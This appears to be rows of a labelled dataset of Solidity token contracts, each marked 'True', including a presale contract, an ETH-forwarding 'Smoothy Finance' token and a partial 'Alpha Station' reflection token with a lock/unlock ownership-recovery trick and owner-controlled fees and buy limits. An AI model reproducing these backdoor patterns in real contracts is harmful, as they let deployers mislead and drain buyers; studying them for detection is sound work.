totalLiquidityAmount += msg.value;
}
// Check deposited Balance on tier
uint256 currentTier = getCurrentTier();
uint256 currentBalance;
if (currentTier == 1) {
// Check balance of tier 1
currentBalance = presaleBuyers[msg.sender].depositedEthTier1;
presaleBuyers[msg.sender].depositedEthTier1 =
currentBalance +
msg.value;
totalEthTier1 += msg.value;
} else if (currentTier == 2) {
// Check balance of tier 2
currentBalance = presaleBuyers[msg.sender].depositedEthTier2;
presaleBuyers[msg.sender].depositedEthTier2 =
currentBalance +
msg.value;
totalEthTier2 += msg.value;
} else if (currentTier == 3) {
// Check balance of tier 3
currentBalance = presaleBuyers[msg.sender].depositedEthTier3;
presaleBuyers[msg.sender].depositedEthTier3 =
currentBalance +
msg.value;
totalEthTier3 += msg.value;
} else {
revert("Presale not available");
}
}
function getDepositedEthBalance(address depositor) external view returns (uint256) {
// Require msg.sender has deposited
require(presaleBuyers[depositor].hasDeposited == true);
uint256 tier1Deposit = presaleBuyers[depositor].depositedEthTier1;
uint256 tier2Deposit = presaleBuyers[depositor].depositedEthTier2;
uint256 tier3Deposit = presaleBuyers[depositor].depositedEthTier3;
uint256 totalDepositedBalance = tier1Deposit + tier2Deposit + tier3Deposit;
return totalDepositedBalance;
}
function setPassiveTokenAddress(address _pasv) external {
// Only callable by admin
require(hasRole(MANAGER, msg.sender));
require(_pasv != address(0));
// Set Passive Token Address
pasv_token = _pasv;
// Set Flag to true
pasvAddressSet = true;
}
function deployLiquidity(uint256 tokensToBurn) external {
// Only callable by admin
require(hasRole(MANAGER, msg.sender));
// Check if presale is still active
require(_tokenLaunchTime < block.timestamp);
// Make sure that passive token address has been set
require(pasvAddressSet == true);
// Reference PASV token
IERC20 token = IERC20(pasv_token);
uint256 contractBalance = token.balanceOf(address(this));
// Check PASV balance == 575Trillion
require(contractBalance == (575000000000000 * 10**6));
// Burn certain amount of tokens based on presale soft cap, can't be more than half.
require((tokensToBurn * 10**6) <= 37500000000000 * 10**6);
// Burn Address
token.transfer(address(0x0000000000000000000000000000000299792458), (tokensToBurn * 10**6));
totalPresalePoolAmount = totalPresalePoolAmount - (tokensToBurn * 10**6);
// Calculate Distribution
calculateDistribution();
// Update flag
liquidityIsDeployed = true;
// Call liquidity deployer contract with liquidityAllocation
deployInitialLiquidity();
}
function calculateDistribution() internal {
// Loop through buyerAddresses
for (uint256 i = 0; i < buyerAddresses.length; i++) {
uint256 balanceTier1 = presaleBuyers[buyerAddresses[i]]
.depositedEthTier1;
uint256 balanceTier2 = presaleBuyers[buyerAddresses[i]]
.depositedEthTier2;
uint256 balanceTier3 = presaleBuyers[buyerAddresses[i]]
.depositedEthTier3;
uint256 totalWeightedBalance = balanceTier1 *
10 +
balanceTier2 *
5 +
balanceTier3;
presaleBuyers[buyerAddresses[i]]
.weightedBalance = totalWeightedBalance;
totalPresaleWeightedBalance += totalWeightedBalance;
}
}
function claimTokens() external nonReentrant {
// Check time is after token launch
require(_tokenLaunchTime < block.timestamp);
// Check that liquidity has been deployed
require(liquidityIsDeployed == true);
// Require msg.sender hasn't claimed already
require(presaleBuyers[msg.sender].hasClaimed == false);
// Require msg.sender has deposited more than 0
require(presaleBuyers[msg.sender].hasDeposited == true);
uint256 buyerAmountAvailable = (presaleBuyers[msg.sender]
.weightedBalance * totalPresalePoolAmount) / totalPresaleWeightedBalance;
// Set has claimed to true
presaleBuyers[msg.sender].hasClaimed = true;
// Update total withdrawn counter
totalAmountWithdrawn += buyerAmountAvailable;
// Transfer token to community member
IERC20 token = IERC20(pasv_token);
token.transfer(msg.sender, buyerAmountAvailable);
}
function deployInitialLiquidity() private {
// Setup Uniswap Router and create pair
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
IERC20 token = IERC20(pasv_token);
uint256 contractBalance = address(this).balance;
token.approve(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, TOTAL_SUPPLY);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(pasv_token, uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: contractBalance }(pasv_token,totalLiquidityPoolAmount,totalLiquidityPoolAmount,contractBalance, marketing_wallet, block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
} | True | [
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|
pragma solidity >=0.4.22 <0.6.0;
contract ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address who) public view returns (uint value);
function allowance(address owner, address spender) public view returns (uint remaining);
function transferFrom(address from, address to, uint value) public returns (bool ok);
function approve(address spender, uint value) public returns (bool ok);
function transfer(address to, uint value) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Smoothy_Finance is ERC20{
uint8 public constant decimals = 18;
uint256 initialSupply = 100000000*10**uint256(decimals);
string public constant name = "Smoothy Finance";
string public constant symbol = "SMTY";
address payable teamAddress;
function totalSupply() public view returns (uint256) {
return initialSupply;
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function balanceOf(address owner) public view returns (uint256 balance) {
return balances[owner];
}
function allowance(address owner, address spender) public view returns (uint remaining) {
return allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool success) {
if (balances[msg.sender] >= value && value > 0) {
balances[msg.sender] -= value;
balances[to] += value;
emit Transfer(msg.sender, to, value);
return true;
} else {
return false;
}
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
if (balances[from] >= value && allowed[from][msg.sender] >= value && value > 0) {
balances[to] += value;
balances[from] -= value;
allowed[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
} else {
return false;
}
}
function approve(address spender, uint256 value) public returns (bool success) {
allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function () external payable {
teamAddress.transfer(msg.value);
}
constructor () public payable {
teamAddress = msg.sender;
balances[teamAddress] = initialSupply;
}
} | True | [
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|
/**
// Alpha Station ($AStation) ;
// Web: https://alphastation.us/ ;
// Telegram: https://t.me/AlphaStation ;
// Twitter: https://twitter.com/AStationToken ;
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
//Locks the contract for owner for the amount of time provided
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
//Unlocks the contract for owner when _lockTime is exceeds
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// Contract implementation
contract AStation is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Alpha Station';
string private _symbol = 'AStation';
uint8 private _decimals = 9;
// Tax and team fees will start at 0 so we don't have a big impact when deploying to Uniswap
// Team wallet address is null but the method to set the address is exposed
uint256 private _taxFee = 2;
uint256 private _teamFee = 2;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousTeamFee = _teamFee;
address payable public _teamWalletAddress;
address payable public _marketingWalletAddress;
IUniswapV2Router02 public immutable uniswapV2Router;
address public immutable uniswapV2Pair;
bool inSwap = false;
bool public swapEnabled = true;
bool public _MaxBuyEnabled = true;
uint256 private _maxTxAmount = 10000000000000 * 10**9;
uint256 private _maxBuy = 10000000000 * 10**9;
// We will set a minimum amount of tokens to be swaped => 5M
uint256 private _numOfTokensToExchangeForTeam = 5 * 10**3 * 10**9;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapEnabledUpdated(bool enabled);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable teamWalletAddress, address payable marketingWalletAddress) public {
_teamWalletAddress = teamWalletAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network
// Create a uniswap pair for this new token
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
// set the rest of the contract variables
uniswapV2Router = _uniswapV2Router;
// Exclude owner and this contract from fee
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamWalletAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousTeamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousTeamFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if(_MaxBuyEnabled){
if(sender == uniswapV2Pair && recipient != owner() && sender != owner()){
require (amount <= _maxBuy);
}
}
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap?
// also, don't get caught in a circular team event.
// also, don't swap if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair && sender != address(uniswapV2Router)
) {
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToTeam(address(this).balance);
}
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
//transfer amount, it will take tax and team fee
_tokenTransfer(sender,recipient,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToTeam(uint256 amount) private {
_teamWalletAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
// We are exposing these functions to be able to manual swap and send
// in case the token is highly valued and 5M becomes too much
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
